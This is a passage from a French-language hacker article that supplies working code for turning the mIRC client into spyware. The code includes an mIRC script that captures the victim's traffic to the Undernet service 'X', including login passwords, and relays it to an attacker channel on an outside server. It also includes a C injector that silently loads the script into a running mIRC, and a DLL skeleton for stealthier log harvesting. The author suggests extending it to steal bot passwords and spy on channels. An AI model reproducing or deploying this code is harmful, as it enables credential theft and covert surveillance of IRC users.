choisi par la victime est le même que notre serveur, le script n'essaie pas
de se connecter à ce dernier via les sockets mIRC. Une fois la victime
connectée à un serveur, le script lance la capture des données envoyées et
reçues. La commande 'debug', fournie par mIRC, nous permet de voir les
données crues (RAW), telles qu'elles sont envoyées par le serveur avant que mIRC
ait la chance de les traiter. On voit aussi les données envoyé par mIRC une
fois tous les traitements faits. Aussi tôt que le script intercept des
données qu'il recherche, toutes les données que le client envoie à 'X' ou
à 'X@channels.undernet.org', et les copy sur un canal spécifique sur notre
serveur IRC.
==------------------------- virii.mrc ------------------------==
; fonction callback
; /help /debug pour plus d'information
alias roguedbg {
/.tokenize 32 $1-
if ($0 >= 4) {
if (($1 == ->) && (($4 == x) || ($4 == x@channels.undernet.org))) {
/.roguesend PRIVMSG #virii $+(:,$2-)
}
}
return
}
; fonction rogueconnect
alias -l rogueconnect {
; vérifie si on est déjà connecté...
if ($sock(roguesocket).mark) return
; sinon est-ce que la victime est connectée sur notre serveur?
if ($network == undernet) return
if ($server iswm *.undernet.org) return
; non? Alors, on se connect...
/.sockopen roguesocket us.undernet.org 6667
/.sockmark roguesocket connecting
}
; fonction roguesend
alias -l roguesend {
; est-ce que nous avons des données à envoyé?
if (!$1-) return
; oui? est-ce que le client est sur notre serveur?
if ($network == undernet) { /.raw $1- | return }
if ($server iswm *.undernet.org) { /.raw $1- | return }
; non? est-ce que notre socket est ouvert?
if (!$sock(roguesocket).mark) return
; oui? ok on envoi les données...
/.sockwrite -tn roguesocket $1-
}
; fonction rogueparseircd
; attend le MOTD pour confirmer la connexion au serveur
; répond au PING du serveur
alias -l rogueparseircd {
;vérifie pour 'RPL_ENDOFMOTD' (376) ou 'ERR_NOMOTD' (422)
if (($2 == 376) || ($2 == 422)) /.sockmark roguesocket connected
;vérifie pour PING
if ($1 == PING) /.roguesend PONG $2
}
; pour chaque connexion à un serveur
on *:connect:{
; si notre fenêtre personnalisée est présente, nous la créeons
if (!$window(@debug).title) /.window -Bhk0n @debug
; on l'appel pour être sur qu'à chaque connexion client nous avons notre
; connexion à notre serveur rogue
/.rogueconnect
; on lance la capture des données
/.debug -i @debug roguedbg
}
on *:sockopen:roguesocket:{
; vérifie que la connexion n'a pas échoué
if ($sockerr > 0) return
;
; Random 'nickname'
;
var %i = 1
var %nicktmp
while (%i <= 9) {
if ($calc(%i % 2) = 0) %nicktmp = $+(%nicktmp,$chr($rand($asc(0),$asc(9))))
else %nicktmp = $+(%nicktmp,$chr($rand($asc(a),$asc(Z))))
inc %i
}
/.sockwrite -tn $sockname NICK %nicktmp
;
; Random 'user' et 'fullname' + invisible (8)
;
%i = 1
var %identtmp
while (%i <= 9) {
%identtmp = $+(%identtmp,$chr($rand($asc(a),$asc(z))))
inc %i
}
/.sockwrite -tn $sockname USER %identtmp 8 * $+(:,%identtmp)
}
on *:sockread:roguesocket:{
if ($sockerr > 0) return
:nextread
sockread %temp
if ($sockbr == 0) return
if (%temp != $null) {
/.rogueparseircd %temp
}
goto nextread
}
Vous devez placer le fichier virii.mrc dans la racine de votre disque C
pour que le programme suivant fonction. Si vous le placez ailleurs, vous
devez changer le chemin d'accès dans le code ci-dessous.
-------------------------- test4.cpp ------------------------
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h> // Generic-Text Mappings
#define MAX_CNAME_SIZE 512
#define MAX_FILEMAPPING_SIZE_LOW 1024
TCHAR g_tcsClassName[] = _T("mIRC");
BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam);
int main()
{
EnumWindows(&ewcallback,(LPARAM)g_tcsClassName);
return 0;
}
BOOL CALLBACK ewcallback(HWND hwnd, LPARAM lParam)
{
TCHAR tscCName[MAX_CNAME_SIZE];
TCHAR tscMsg[] = _T("/.load -rs c:\\virii.mrc");
HANDLE hFile;
LPVOID lpBaseAddress;
GetClassName(hwnd, tscCName,MAX_CNAME_SIZE);
if (_tcscmp(tscCName,(TCHAR*)lParam) == 0) {
hFile = CreateFileMapping(
INVALID_HANDLE_VALUE,
NULL,
PAGE_READWRITE,
0,
MAX_FILEMAPPING_SIZE_LOW,
tscCName );
if ( hFile ) {
lpBaseAddress = MapViewOfFile(hFile,FILE_MAP_WRITE,0,0,0);
if (lpBaseAddress) {
// On copy notre chaine dans le fichier...
CopyMemory(lpBaseAddress,tscMsg,_tcslen(tscMsg));
// On avertit mIRC qu'il y a des données dans le fichier
SendMessage(hwnd,WM_USER+200,1,0);
// unmap la view
UnmapViewOfFile(lpBaseAddress);
}
CloseHandle(hFile);
}
}
return TRUE; // doit retourner TRUE si l'on veut que EnuWindows continue
// l'énumération des fenêtres.
}
Très simple n'est-ce pas ? Je vous pris de tenir compte que ce script n'est
pas 'foolproof' et que plusieurs améliorations peuvent et doivent être
apporté. Mais je crois qu'il couvre bien l'idée générale. Bon, ce n'est pas
très furtif comme méthode puisque la victime peut s'apercevoir qu'un script
a été chargé et qu'une fenêtre a été créée.
Un autre truc très intéressant que nous propose mIRC c'est la possibilité
de charger des DLLs. Ceci nous donne une plus grande flexibilité et beaucoup
plus de 'puissance'. Pour charger une DLL en mémoire, il faut que nous
appelions une des fonctions contenues dans la DLL en question. Pour ce faire,
il existe trois (3) commandes sous mIRC que l'on peut utiliser:
/dll <filename> <procname> [data]
$dll(filename,procname,data)
$dllcall(filename,alias,procname,data)
Les commandes ci-dessus ouvrent la DLL, appel la routine 'procname', et lui
envoie les données spécifiées. '$dll()' peut retourner un valeur, comme
n'importe quels identifiants. '$dllcall()' est multi-threaded donc il
n'arrêtera pas l'exécution du script et va appeler l'alias spécifié
aussitôt que la routine retourne.
Les routines de la DLL qui seront appelées par mIRC doivent avoir le format
suivant:
int __stdcall procname(
HWND mWnd, // le handle de la fenêtre principale de mIRC
HWND aWnd, // le handle de la fenêtre dans laquelle la commande est
// utilisé, il se peut que se ne soit la fenêtre
// présentement active si la commande est exécutée par un
// 'remote script'.
char *data, // l'information que l'on souhaite envoyer à la DLL.
// au retour, la DLL peut remplir cette variable avec
// la commande qu'elle souhaite que mIRC exécute, si
// désiré.
char *parms, // paramètre de la commande, se trouvant dans 'data', que
// l'on souhaite exécuté.
BOOL show, // est FAUX si le préfix '.' était spécifié, sinon VRAI
BOOL nopause // VRAI si mIRC est dans un routine critique et que la
// DLL ne doit pas suspendre l'exécution de mIRC, ex:
// la DLL de doit pas montrer un fenêtre de dialogue.
);
NOTE: 'data' et 'parms' peuvent contenir chacun 900 caractères maximum.
La DLL peut retourner un entier pour indiquer ce qu'elle veut que mIRC
fasse:
0 - mIRC devrait arrêter (/halt) l'exécution
1 - mIRC devrait continuer l'exécution
2 - une commande est présente dans le champs 'data' que mIRC devrait
exécuter et les paramètres, si présents, se trouve dans 'parms'.
3 - les données que l'identifiant '$dll()' devrait retourner.
Par défaut, mIRC décharge la DLL une fois l'appel de la routine se termine.
On peut donc spécifier à mIRC de garder la DLL chargé en mémoire en
incluant un routine 'LoadDll() dans notre DLL, qui sera appelé par mIRC
la première fois que mIRc chargera cette dernière.
void __stdcall (*LoadDll)(LOADINFO*);
typedef struct {
DWORD mVersion; // version de mIRC dans le 'low' et 'high' mots
// (words)
HWND mHnd; // handle de la fenêtre principale de mIRC
BOOL mKeep; // VRAI, par défaut, pour que mIRC garde la DLL chargé
// après chaque appel. Mettre à FAUX si l'on veut que
// mIRC la décharge après chaque appel
// (fonctionnalité originale de mIRC).
} LOADINFO;
mIRC va automatiquement décharger toute DLL qui n'est pas utilisée depuis
au moins 10 minutes, ou quand mIRC quittera.
Nous pouvons définir une routine, 'UnloadDll()', qui sera appelé par mIRC
avant de décharger la DLL pour que cette dernière puisse quitter
proprement.
int __stdcall (*UnloadDll)(int mTimeout);
'mTimeout' peut contenir les valeurs suivantes:
0 - UnloadDll() est appelé parce que la DLL est sur le point d'être
déchargé dû à la commande '/dll -u' ou parce que mIRC est en court de
fermeture.
1 - UnloadDll() est appelé parce que la DLL n'a pas été utilisée depuis au
moins 10 minutes. La routine 'UnloadDll()' peut retourner zéro (0) pour
garder la DLL chargé, ou un (1) pour permettre le déchargement de cette
dernière.
Il ne nous reste plus qu'à envoyer à mIRC les commandes suivantes:
/.debug "C:\capture.log"
/.dll "C:\virii.dll" initDll "C:\capture.log"
Premièrement, nous disons à mIRC de capturer toute activité entrant ou
sortant du client dans le fichier 'C:\capture.log'. Puis on lui demande de
charger en mémoire la DLL 'virii.dll' et d'exécuter la fonction initDll qui
se trouve à l'intérieur avec comme paramètre le nom du fichier de capture.
Voici le code de la DLL en question:
=------------------------- virii.c -----------------------=
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h> // Generic-Text Mappings
#define STRSAFE_NO_DEPRECATE
#include <strsafe.h> // safer C library string routine
/////////////////
// Defines
//
#define IDT_PARSEDATA 31337
/////////////////
// Variables
//
BOOL bInit = FALSE; // est-ce que la Dll a déjà été initialisée
HWND hmIRC; // handle fenêtre principal mIRC
UINT uTResult = 0; // SetTimer's return value
TCHAR tscFileName[MAX_PATH]; // fichier de capture
OVERLAPPED olstruct; // contien l'offset courant
TCHAR *ptcsData; // buffer des données lu du fichier
DWORD dwDataSize; // dimension du buffer des données
/////////////////
// Structures
//
typedef struct {
DWORD mVersion; // version de mIRC dans le 'low' et 'high' mots
// (words)
HWND mHnd; // handle de la fenêtre principale de mIRC
BOOL mKeep; // VRAI, par défaut, pour que mIRC garde la DLL chargé
// après chaque appel. Mettre à FAUX si l'on veut que
// mIRC la décharge après chaque appel
// (fonctionnalité originale de mIRC).
} LOADINFO;
/////////////////
// Fonctions
//
int WINAPI initDll(HWND,HWND,char*,char*,BOOL,BOOL);
VOID CALLBACK ParseFile(HWND,UINT,UINT,DWORD);
LPVOID VirtualReAlloc(LPVOID,SIZE_T);
TCHAR *ltcschr(const TCHAR*,TCHAR);
TCHAR *litotcs(int,TCHAR*);
void DebugError(LPTSTR);
/////////////////
// Da code
//
void WINAPI LoadDll(LOADINFO* linfo)
{
// copie le handle de la fenêtre principale de mIRC
hmIRC = linfo->mHnd;
}
int WINAPI UnloadDll(int timeout)
{
// si mIRC est en court de fermeture OU que 'dll -u' à été applé
if (!timeout)
{
// ... on arrête le timer
if (uTResult) KillTimer(hmIRC, IDT_PARSEDATA);
// ... on libère l'espace mémoire alloué
if (ptcsData) VirtualFree(ptcsData,0,MEM_RELEASE);
}
return 0;
}
// notre fonction qui sera appelée via la commande 'dll' pour chargé la dll en
// mémoire, initialiser les données et exécuter le timer
int WINAPI initDll(
HWND mWnd,
HWND aWnd,
char *data,
char* parms,
BOOL show,
BOOL nopause)
{
int ilen;
if (!bInit)
{
// initialisation var global
hmIRC = (HANDLE)NULL;
ZeroMemory((PVOID)&olstruct, sizeof(olstruct));
ptcsData = (TCHAR*)NULL;
dwDataSize = 0;
// copie le nom du fichier de capture
ilen = lstrlen(_T(data))+1;
lstrcpyn(tscFileName, _T(data), min(ilen,MAX_PATH));
bInit = TRUE;
uTResult = SetTimer(hmIRC, // handle fenêtre principale mIRC
IDT_PARSEDATA, // timer identifier
120000, // 120-second interval
(TIMERPROC) ParseFile); // timer callback
}
// mIRC doit continuer son exécution normalement
return 1;
}
// fonction callback que le timer va exécuté tout les X millisecondes
VOID CALLBACK ParseFile(
HWND hwnd, // handle to window for timer messages
UINT message, // WM_TIMER message
UINT idTimer, // timer identifier
DWORD dwTime) // current system time
{
HANDLE hFile;
TCHAR tcsBuffer[1025];
DWORD nbBytesRead;
TCHAR *ptcsCLoc, *ptcsDataTemp;
DWORD dwPos = 0;
// ouverture du fichier
hFile = CreateFile(tscFileName,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_RANDOM_ACCESS,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
DebugError("CreateFile()");
return;
}
while (TRUE)
{
// initialise le buffer temporaire à zero
ZeroMemory(tcsBuffer,1025);
// lis un certains nombre de données dans le fichier
ReadFile(hFile,tcsBuffer,1024,&nbBytesRead,&olstruct);
if (!nbBytesRead)
{
DebugError("ReadFile()");
break; // EOF
}
// alloue ou réalloue la mémoire du buffer qui garde les données
// entre chaque lecture
if (!ptcsData)
ptcsDataTemp = (TCHAR*)VirtualAlloc((LPVOID)NULL,
nbBytesRead,
MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
else
ptcsDataTemp = (TCHAR*)VirtualReAlloc((LPVOID)ptcsData,
dwDataSize+nbBytesRead);
if (!ptcsDataTemp)
break; // VirtualAlloc() ou VirtualReAlloc() à échoué
ptcsData = ptcsDataTemp;
// copie les données du buffer temporaire au buffer global
CopyMemory(ptcsData+dwDataSize,tcsBuffer,nbBytesRead);
// mise à jour de la dimension du buffer global
dwDataSize += nbBytesRead;
// garde l'offset courant en mémoire pour la prochaine lecture
olstruct.Offset += nbBytesRead;
}
// pour chaque ligne (chaine délimitée par le caractère 'Newline')
while (ptcsCLoc = ltcschr(ptcsData,_T('\n')))
{
// calcule la longueur de la chaîne
dwPos = (DWORD)(ptcsCLoc - ptcsData);
// affiche la chaîne
if (SUCCEEDED(StringCchCopyN(tcsBuffer,1024,ptcsData,dwPos)))
{
MessageBox(hmIRC,tcsBuffer,_T("moo"),MB_OK);
}
// déplace le reste des données au début du buffer
MoveMemory(ptcsData,ptcsCLoc,dwDataSize-dwPos);
// redimensionne le buffer
ptcsDataTemp = (TCHAR*)VirtualReAlloc(ptcsData,dwDataSize-dwPos);
// si VirtualReAlloc() réussie
if (ptcsDataTemp)
{
// ... on garde la nouvelle adresse du buffer
ptcsData = ptcsDataTemp;
// .. on met à jour sa taille
dwDataSize -= dwPos;
}
// sinon
else
// on met à zéro la fin du buffer
ZeroMemory(ptcsData+(dwDataSize-dwPos), dwPos);
}
// on ferme le fichier
CloseHandle(hFile);
}
// Comme j'utilise VirtualAlloc pour alloué de l'espace mémoire et que il ne
// semble pas existé de fonction pour redimensionner de la mémoire dans la
// famille des Virtual*, j'ai du en faire une moi-même.
//
// NOTE:
// Cette fonction n'est pas très optimisée, et je crois qu'il y a un moyen de
// gardé la même adresse de base mais je ne me suis pas vraiment arrêté la
// dessus.
LPVOID VirtualReAlloc(
LPVOID lpAddress,
SIZE_T dwSize)
{
LPVOID lpNewAddress;
MEMORY_BASIC_INFORMATION mbi;
lpNewAddress = (LPVOID)NULL;
if (!lpAddress || dwSize <= 0)
{
return (LPVOID)NULL;
}
if (VirtualQuery(lpAddress,&mbi,sizeof(mbi)) < sizeof(mbi))
{
return (LPVOID)NULL;
}
if (!(lpNewAddress = VirtualAlloc((LPVOID)NULL,
dwSize,mbi.State,mbi.AllocationProtect)))
{
return (LPVOID)NULL;
}
CopyMemory(lpNewAddress,lpAddress,min(mbi.RegionSize,dwSize));
VirtualFree(lpAddress,0,MEM_RELEASE);
return lpNewAddress;
}
// mon équivalent de strchr() mais pour les TCHAR*
TCHAR *ltcschr(const TCHAR *string,TCHAR c)
{
TCHAR *tcsPos;
if (!string)
return (TCHAR*)NULL;
tcsPos = (TCHAR*)string;
while (tcsPos && *(tcsPos = CharNext(tcsPos)))
{
if (tcsPos[0] == c) return tcsPos;
}
return (TCHAR*)NULL;
}
// fonction très LAME et très NON optimisé qui émule une partie de la
// fonctionnalité de itoa() mais pour les TCHAR*
TCHAR *litotcs(int value,TCHAR *buffer)
{
TCHAR tcsNumeric[] = _T("0123456789"); // tableau de conversion
TCHAR c;
int i, j = 0;
// si le buffer est non valide
if (!buffer)
return (TCHAR*)NULL;
// si le nombre est négatif, rajouter le signe '-' devant le nombre
if (value < 0)
{
buffer[j] = _T('-');
++j;
}
// BIG MESS que je veux pas expliquer, mais 'long story short' la boucle
// 'do while' traduit le nombre en chaine, mais produit l'effet miroir.
// Donc si mon nombre est:
// 1234
// cette bloucle la traduit comme suit:
// 4321
// La dernière boucle, 'while', règle se problème en remettant les nombres
// le bon ordre.
do
{
i = value % 10;
buffer[j] = tcsNumeric[i];
value /= 10;
++j;
} while (value);
buffer[j] = 0;
--j;
i = 0;
while (j >=0 && j > i)
{
c = buffer[j];
buffer[j] = buffer[i];
buffer[i] = c;
--j;
++i;
}
// retourne l'adresse du buffer
return buffer;
}
// fonction qui explique ce qui à mal tourné si la DLL est compilée
// en mode DEBUG
void DebugError(LPTSTR lpszFunction)
{
#if defined(_DEBUG)
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)
*sizeof(TCHAR));
wsprintf((LPTSTR)lpDisplayBuf,
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
#endif
}
La DLL 'virii.dll' fait très peu de chose, mais vous montre un peu le
ce que vous pouvez faire. Elle commence par initialiser quelque variable
et ensuite lance un 'timer' qui va exécuter une fonction callback, ici
'ParseData', toutes les 120 secondes. 'ParseData' ouvre le fichier passé en
paramètre plutôt et lis le contenu qui s?y trouve. Elle garde en mémoire
l'offset pour ne pas relire les mêmes données. Puis elle les conserve dans
un buffer ('ptcsData'). Ensuite elle tente de trouver des chaines qui se
terminent avec le caractère 'Newline'. Pour chaque ligne trouvée, elle les
affiche dans un MessageBox. Lorsque mIRC décharge la DLL, elle s'assure
de libérer les espaces mémoire qu'elle à alloué. OMG! J'allais presque
oublier. Vous devrez surement créer un fichier .def sinon mIRC ne trouvera
pas les fonctions que vous voudrez exécuter. mIRC s'attend à avoir des
fonctions suivant la convention __stdcall*, mais par défaut Visual Studio
utilise la convention __cdecl*. Donc vous nom de fonction vont être
à la compilation. Prenons la fonction 'initDll', après compilation elle se
nommera '_initDll@24'. Le fichier .def vous permet de créer des alias. On
pourra donc créer un alias 'initDll' pour la fonction '_initDll@24'. Règle
générale, le nombre apres le '@' c'est simplement le nombre de paramètres
que prend votre fonction, multipliée par 4. 'initDll' prend 6 paramètres,
donc 6*4 = 24. 'UnloadDll' et LoadDll' prennent un seul paramètre, donc
1*4 = 4. Voici le .def si vous en avez besoin.
//=--------------------- virii.def -----------------------=
LIBRARY virii
EXPORTS
LoadDll = _LoadDll@4
UnloadDll = _UnloadDll@4
initDll = _initDll@24
//=-------------------------------------------------------=
La DLL est très non pratique, mais avec quelques modifications, vous
pouvez la faire se connecter sur un serveur quelconque et transmettre les
données que vous jugez intéressantes. Vous pouvez regarder pour des password
utilisés auprès des services de certains serveur IRC (x pour undernet) ou
pour des passwords de bots. Vous pouvez espionner des conversations sur
des canaux en particulier, etc. Les idées de manque pas.
Les avantages d'utiliser une DLL est d'abord et avant tout le contrôle
qu'elle nous donne. Ensuite la vitesse de traitement; vous pouvez donc
effectuer plus de manipulation que la victime ressente un ralentissement
au niveau du programme. Et bien sûr, c'est beaucoup plus furtif. Si on
compare avec l'exemple précédent (le script), la victime peut s'apercevoir
que quelque chose ne tourne pas rond via l'éditeur de script, le menu
fenêtre, via les identifiants $script et $window. Pour la DLL, seul
l'identifiant $dll peut révéler notre présence.
6. Conclusion
Enjoy!
_____ ________ ________ ______ ____ __ __ _
/____/ / // // /\ \\ \\ \ \ \ \\ \
___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \
| | | / / \
| | | | / /\ \
__|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _
__\\________\\______\\__\\____________//__//_/ /_/ // /
|\\ | | | | | / / \ \
| \\| | \___/ | / / /\ \ \
| \ \ / / / / \ \ \
\ | \_______/ / / / /\ \ \ \
__|\\ |______________/ /___/ / \ \___\ \____ ___ __ _
| \\| / / \ \
|__\. /\